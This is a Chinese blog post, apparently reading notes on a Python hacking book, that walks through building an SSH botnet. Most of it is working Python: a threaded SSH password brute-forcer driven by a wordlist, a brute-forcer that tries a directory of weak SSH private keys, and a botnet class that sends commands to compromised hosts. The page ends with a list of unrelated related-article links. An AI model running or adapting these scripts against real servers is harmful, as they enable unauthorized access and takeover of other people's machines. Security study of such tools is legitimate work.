Python构建一个SSH僵尸网络

可以看一下我们自己的网站的入侵检测系统(IDE)日志/var/log/auth.log中最近的SSH攻击记录,我们可以观察到:攻击者试图使用用户登录系统,远程IP正试图暴力生成密码破解密码。

实现暴力破解的SSH蠕虫

我们使用一个第三方模块--Pexpect,它可以实现与程序交互,等待预期的屏幕输出,并据此做出不同的响应。

利用pexpect库进行SSH连接

这个步骤本质上讲的就是不用每次都输入yes,或者是人工输入ssh root' '127.0.0.1' ',就是直接运行脚本连接。

输入:用户名 主机名 密码 例如 root '127.0.0.1' 123456

输出:超时,主机已使用新的公钥或者验证通过

import pexpectPROMPT = ['# ', '>>> ', '> ', "$ "]def sen_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print(child.before)def connect(user, host, password): ssh_newkey = 'are you sure you want to continue connecting' conn_str = 'ssh ' + user + '@' + host child = pexpect.spawn(conn_str) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return child.sendline(password) child.expect(PROMPT) return child

执行暴力破解任务

整体思路是将上面静态输入的用户名,密码,改成暴力破解中字典中需要遍历尝试的用户名和密码们,我们在connect方法中加入反馈机制,如果connect反馈不可以连接那么继续换用户名和密码们。本例只涉及对特定用户名,我们暴力破解特定用户的密码。

from pexpect import pxsshimport optparseimport timefrom threading import *maxconnections = 5connectionlock = BoundedSemaphore(value=maxconnections)isfound = Falsefails = 0def connect(host, user, password, release): global isfound global fails try: s = pxssh.pxssh() s.login(host, user, password) print('[+] Password Found: ' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connectionlock.release()def main(): parser = optparse.OptionParser('usage %prog -H  -u  -F ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-F', dest='passwdFile', type='string', help='specify password file') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print(parser.usage) exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): if isfound: print("[*] Exiting: Password Found") exit(0) if fails > 5: print("[!] Exiting: Too Many Socket Timeouts") exit(0) connectionlock.acquire() password = line.strip('').strip('') print("[-] Testing: " + str(password)) t = Thread(target=connect, args=(host, user, password, True)) child = t.start()if __name__ == '__main__': main()

SSH弱密钥

生成一对密钥

利用密钥生成器制作一对密钥:公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。如果没有私钥,即使通过SSH 暴力破解出密码也无法远程登录系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。意思就是上一个步骤用暴力破解密码后,我们需要把公钥复制到被破解用户的ssh文件下,这样我们可以在自己电脑上连接它的服务器了。

#!/usr/bin/python# -*- coding: utf-8 -*-import pexpectimport optparseimport osfrom threading import *maxconnections = 5connectionlock = BoundedSemaphore(value=maxconnections)stop = Falsefails = 0def connect(user, host, keyfile, release): global stop global fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no'## connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ]) if ret == 2: print('[-] Adding Host to ~/.ssh/known_hosts') child.sendline('yes') connect(user, host, keyfile, False)##kryfile 1024,2048,4096密钥文件 elif ret == 3: print('[-] Connection Closed By Remote Host') fails += 1 elif ret > 3: print('[+] Success. ' + str(keyfile)) stop = True finally: if release: connectionlock.release()def main(): parser = optparse.OptionParser('usage %prog -H  -u  -d ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print(parser.usage) exit(0) for filename in os.listdir(passDir): if stop: print('[*] Exiting: Key Found.') exit(0) if fails > 5:#IPS阻止连接 print('[!] Exiting: Too Many Connections Closed By Remote Host.') print('[!] Adjust number of simultaneous threads.') exit(0) connectionlock.acquire() fullpath = os.path.join(passDir, filename) print('[-] Testing keyfile ' + str(fullpath)) t = Thread(target=connect, args=(user, host, fullpath, True)) child = t.start()if __name__ == '__main__': main()

构建僵尸网络

被黑掉的计算机群,叫做僵尸网络,并且其中每个计算机都有能连接某台肉机,并把命令发送给肉机的能力。需要构造一个全局数组储存僵尸计算机信息,然后发布命令时,遍历整个数组。

深信服僵尸网络云检测平台

#!/usr/bin/python# -*- coding: utf-8 -*-from pexpect import pxsshclass Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] error connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.beforedef botnetCommand(command): for client in botNet: output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output)def addClient(host, user, password): client = Client(host, user, password) botNet.append(client)botNet = []addClient('127.0.0.1', 'root', 'toor')addClient('127.0.0.1', 'root', 'toor')addClient('127.0.0.1', 'root', 'toor')botnetCommand('uname -v')botnetCommand('cat /etc/issue')

python expect模块_成为顶级黑客--python绝技 阅读笔记(五)相关推荐

  1. python数据库模块_十二、Python高级功能之Mysql数据库模块

    Python高级功能之Mysql数据库模块 安装python mysql组件 # yum -y install MySQL-python.x86_64 以下根据实例来说明: >>> ...

  2. python编程基础_月隐学python第2课

    python编程基础_月隐学python第2课 学习目标 掌握变量的输入和输出 掌握数据类型的基本概念 掌握算数运算 1.变量的输入和输出 1.1 变量输入 使用input输入 input用于输入数据 ...

  3. 查看Python的版本_查看当前安装Python的版本

    一.查看Python的版本_查看当前安装Python的版本 具体方法: 首先按[win+r]组合键打开运行: 然后输入cmd,点击[确定]: 最后执行[python --version]命令即可. 特 ...

  4. 关于《Python绝技:运用Python成为顶级黑客》的学习笔记

    本篇文章主要把<Python绝技:运用Python成为顶级黑客>中的代码敲一遍,学学Python安全相关的编程与思路,然后根据具体的情况修改一下代码. 第一章--入门 1.准备开发环境 安 ...

  5. 《Python绝技:运用Python成为顶级黑客》的学习笔记

    本篇文章主要把<Python绝技:运用Python成为顶级黑客>中的代码敲一遍,学学Python安全相关的编程与思路,然后根据具体的情况修改一下代码. 第一章--入门 1.准备开发环境 安 ...

  6. 用python成为顶级黑客-python绝技:运用python成为顶级黑客 PDF 超清中文版

    给大家带来的一篇关于python相关的电子书资源,介绍了关于python绝技.python黑客方面的内容,本书是由电子工业出版社出版,格式为PDF,资源大小42 MB,TJO编写,目前豆瓣.亚马逊.当 ...

  7. import pymysql 没有模块_小白详细的 python 模块的运用

    小白详细的 python 模块的运用 什么是模块 用书里的话说:模块是最高级别的程序组织单元.这句话的意思是,模块什么都能封装,就像这样: 在模块中,我们不但可以直接存放变量,还能存放函数,还能存放类 ...

  8. python安装redis模块_安装redis及python redis模块

    第一部分:安装redis mkdir /usr/local/redis cd /usr/local/src wget http://download.redis.io/releases/redis-2 ...

  9. 包和模块_月隐学python第13课

    目录 1.⽣成器 1.1 yield表达式​ 2.迭代器​ 2.1 迭代对象 2.2 迭代器 2.3 将迭代对象转换为迭代器 3. 包 4.模块 4.1 模块搜索路径 4.2 导⼊模块 1.⽣成器 如 ...

最新文章

  1. php指向mysql路径_编译php 但不知道--with-mysql指向哪个路径
  2. 只用1/500数据就打败人类!一种采样高效的强化学习算法 | 报告详解
  3. dommel mysql_.Net Core AA.FrameWork应用框架介绍
  4. hdu2102 水搜索
  5. q7goodies事例_Java 8 Friday Goodies:精益并发
  6. 编程语言API性能大比拼
  7. 安装Hbase(分布式)遇到一些问题及解决方法
  8. 漫画:什么是区块链?
  9. 工具存储过程收藏(spFindString)
  10. Largest Submatrix SPOJ - MINSUB (单调栈)
  11. python构建网站flask_某课Python Flask实现构建视频网站
  12. 【Spring-AOP】底层类AbstractAutoProxyCreator分析
  13. 关于海康相机ip地址无法更改问题
  14. 虚拟机桥接模式下的网络设置
  15. 微软自带比对神器,快速比对两个表格-高效好用又简单(99.9%的人没听说过)
  16. [网络工程师]-IEEE 802.3定义的传输介质特性
  17. [音乐欣赏]夜空中最亮的星,张杰,苏阳,新闻晚高峰结束曲
  18. python蓝牙连接测试_基于python实现蓝牙通信代码实例
  19. Python实现手机和电脑之间的文件传输
  20. C#开发:创建gif图片

热门文章

  1. 有负权重边的图可以有拉普拉斯矩阵吗?
  2. 文巾解题 881. 救生艇
  3. 企业数字化转型,一文通读什么是数字化中台?
  4. MATLAB从入门到精通-MATLAB结构矩阵的输出
  5. MATLAB可视化实战系列(二十五)-MATLAB基于直方图的图像去雾
  6. 听说你想去大厂看学姐,带你看看京东软件产品经理岗长啥样?
  7. 强化学习(十九) AlphaGo Zero强化学习原理
  8. Python入门100题 | 第079题
  9. 学会数据库读写分离、分表分库
  10. Example of ApplicationContextAware in Spring--转